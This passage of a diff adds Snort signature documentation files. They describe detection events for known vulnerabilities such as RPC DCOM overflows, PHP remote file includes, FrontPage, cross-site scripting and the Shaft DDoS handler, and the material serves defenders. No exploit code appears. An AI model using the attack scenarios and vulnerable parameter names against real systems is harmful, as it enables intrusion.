+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1273.txt
+++ snort-2.8.5.2/doc/signatures/1273.txt
@@ -0,0 +1,74 @@
+Rule:
+
+
+--
+Sid:
+1273
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) selection_svc is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port selection_svc is using.  Attackers can also learn what versions of the selection_svc protocol are accepted by selection_svc.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as selection_svc run.  The selection_svc RPC service is used by SunView, an old windowing system from Sun.  A vulnerability exists in selection_svc that allows a remote user to read files that are readable by SunView. 
+
+--
+Affected Systems:
+Sun SunOS 3.5
+Sun SunOS 4.0
+Sun SunOS 4.0.1
+Sun SunOS 4.0.2
+Sun SunOS 4.0.3
+Sun SunOS 4.1
+Sun SunOS 4.1.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where selection_svc runs.  This may be a precursor to accessing selection_svc.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access selection_svc, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for selection_svc, not probes of the selection_svc service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the selection_svc service itself. An attacker may attempt to go directly to the selection_svc port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/8
+
+CERT
+http://www.cert.org/advisories/CA-1990-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS25
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/963.txt
+++ snort-2.8.5.2/doc/signatures/963.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+963
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+This event indicates that an attempt has been made to access the file
+svcacl.cnf which may contain sensitive information about the host and
+applications using the FrontPage extensions.
+
+Svcacl.cnf contains data about permissions and IP address restrictions
+on all of the sub-webs.  This information would be very valuable to a
+hacker and could be used to plan future attacks.
+
+--
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky McAtee <rmcatee@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2328.txt
+++ snort-2.8.5.2/doc/signatures/2328.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2328
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+authentication_index.php script which contains known vulnerabilities and
+is part of  the phpGedView CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the phpGedView CGI web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to the
+execution of arbitrary code of the atttackers choosing.
+
+--
+Affected Systems:
+	phpGedView
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including a file in
+paramters supplied to the script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2143.txt
+++ snort-2.8.5.2/doc/signatures/2143.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 2143
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the cafelog php application. 
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability in the cafelog PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL, the script is processed and executed with the privileges of the user running the webserver. This is due to poor checking of user supplied variables in the gm-2-b2.php script.
+
+--
+Affected Systems:
+Any host using cafelog.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script via gm-2-b2.php.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3133.txt
+++ snort-2.8.5.2/doc/signatures/3133.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3133
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the processing of a Portable Network Graphics (PNG) file by
+the GD Graphics Library.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that software that handles PNG files,
+libpng, allocates memory for PNG images. A maliciously formatted PNG
+image sent to a vulnerable server may cause a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.  A
+PNG file with an excessively large image height, width, or depth, or
+combination of these can cause a buffer overflow.
+
+--
+Affected Systems:
+	GD Graphics Library 2.0.28 and earlier
+
+--
+Attack Scenarios:
+An attacker can create a malformed PNG file and upload it to a web server,
+possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000509.txt
+++ snort-2.8.5.2/doc/signatures/100000509.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000509
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "RahnemaCo" application running on a webserver. 
+Access to the file "page.php" using a remote file being passed as the "pageid" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "pageid" parameter in the "page.php" script used by the 
+"RahnemaCo" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RahnemaCo
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3344.txt
+++ snort-2.8.5.2/doc/signatures/3344.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3344
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2246.txt
+++ snort-2.8.5.2/doc/signatures/2246.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2246
+
+--
+Summary:
+This event is generated when an attempt is made to access Webadmin from 
+a source external to the protected network.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+WebAdmin is a web application that allows remote administration of 
+MDaemon and RelayFax. A vulnerability exists such that the URI used by 
+WebAdmin discloses the installation location of MDaemon and RelayFax. A 
+URI can also be crafted by an attacker that would allow the reading of 
+any file on the system. This information might then be used in further 
+attacks against the host.
+
+--
+Affected Systems:
+	WebAdmin prior to 2.0.3
+
+--
+Attack Scenarios:
+The attacker needs to login to the server as an administrator then use 
+WebAdmin.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq archive:
+http://www.securityfocus.com/archive/1/319735
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2985.txt
+++ snort-2.8.5.2/doc/signatures/2985.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2176
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3262.txt
+++ snort-2.8.5.2/doc/signatures/3262.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3262
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1613.txt
+++ snort-2.8.5.2/doc/signatures/1613.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1613
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2705.txt
+++ snort-2.8.5.2/doc/signatures/2705.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+2705
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft GDI using a malformed JPEG image.
+
+-- 
+
+Impact: 
+Serious. Execution of arbitrary code is possible. Denial of Service
+(DoS),
+
+--
+Detailed Information:
+The Microsoft Graphics Device Interface contains a programming error
+in the handling of Joint Photographics Experts Group (JPEG) files. This
+error may allow an attacker to execute code of their choosing on a
+vulnerable system.
+
+Due to the popularity of jpeg files, and in order to provide accurate
+detection for the GDI JPEG vulnerability, sid 2705 may generate false
+positive events in certain situations. Since this rule may generate
+a number of false positives it is disabled by default.
+
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Affected Systems:
+	All Microsoft systems including multiple Microsoft products
+
+--
+Attack Scenarios: 
+An attacker would need to supply a malformed jpeg image to a victim and
+have the use attempt to view the file.
+
+-- 
+Ease of Attack: 
+Medium.
+
+-- 
+
+False Positives:
+False positive events are known to occur with this rule, the incidence
+is low but may be an inconvenience in some installations.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3403.txt
+++ snort-2.8.5.2/doc/signatures/3403.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3403
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/230.txt
+++ snort-2.8.5.2/doc/signatures/230.txt
@@ -0,0 +1,59 @@
+Rule:
+--
+Sid:
+230
+
+--
+Summary:
+This event is generated when a DDoS Shaft client communicates with a Shaft handler.  It is also possible that this event may be generated when any host attempts to discover or detect a Shaft handler.
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a Shaft client or a host attempting to discover Shaft handlers.  If the listed destination IP is in your network, it may be a Shaft handler.
+
+--
+Detailed Information:
+The Shaft DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to direct them to launch attacks.  A client may communicate with a handler via TCP destination port 20432.
+
+--
+Affected Systems:
+Any Shaft compromised host.
+
+--
+Attack Scenarios:
+A Shaft client needs to communicate with handlers to direct attacks.
+
+--
+Ease of Attack:
+Simple. Shaft code is freely available.
+
+--
+False Positives:
+A legitimate server port of 20432 will cause this rule to fire.  It may also create a false positive if port 20432 is selected as an FTP data port.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS254
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000847.txt
+++ snort-2.8.5.2/doc/signatures/100000847.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000847
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Sitemap" application running on a webserver. Access to the file "sitemap.xml.php" using a remote file being passed as the "mosConfig_absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mosConfig_absolute_path" parameter in the "sitemap.xml.php" script used by the "Sitemap" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Sitemap
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2406.txt
+++ snort-2.8.5.2/doc/signatures/2406.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2406
+
+--
+Summary:
+This event is generated when an attempt is made to access an APC device
+using a known default administrative account and password via Telnet.
+
+--
+Impact:
+Serious. Unauthorized administrative access to the device.
+
+--
+Detailed Information:
+The APC Management card uses a known default administrative name and
+password. This rule generates an event when these credentials are used
+in a Telnet session. If this account and password have not been changed
+this can lead to unauthorized administrative access to the device.
+
+--
+Affected Systems:
+	APC WEB/SNMP Management Card (9606) Firmware 3.0 and 3.0.1
+
+--
+Attack Scenarios:
+An attacker may try to use this password and username combination to
+gain access to an affected device.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Change the administrative account username and password.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2757.txt
+++ snort-2.8.5.2/doc/signatures/2757.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2757
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_master_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1497.txt
+++ snort-2.8.5.2/doc/signatures/1497.txt
@@ -0,0 +1,82 @@
+Rule:
+--
+Sid:
+1497
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version. If 
+the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+iDefense
+http://www.idefense.com/idpapers/XSS.pdf
+
+CERT
+http://www.cert.org/advisories/CA-2000-02.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/942.txt
+++ snort-2.8.5.2/doc/signatures/942.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+942
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2084.txt
+++ snort-2.8.5.2/doc/signatures/2084.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2084
+
+--
+Summary:
+xfsmd
+
+--
+Impact:
+Possible root access and code execution.
+
+--
+Detailed Information:
+It is possible for an attacker to exploit some versions of the xfsmd 
+daemon.
+
+Due to a programming error, the service does not correctly check for 
+certain meta-characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
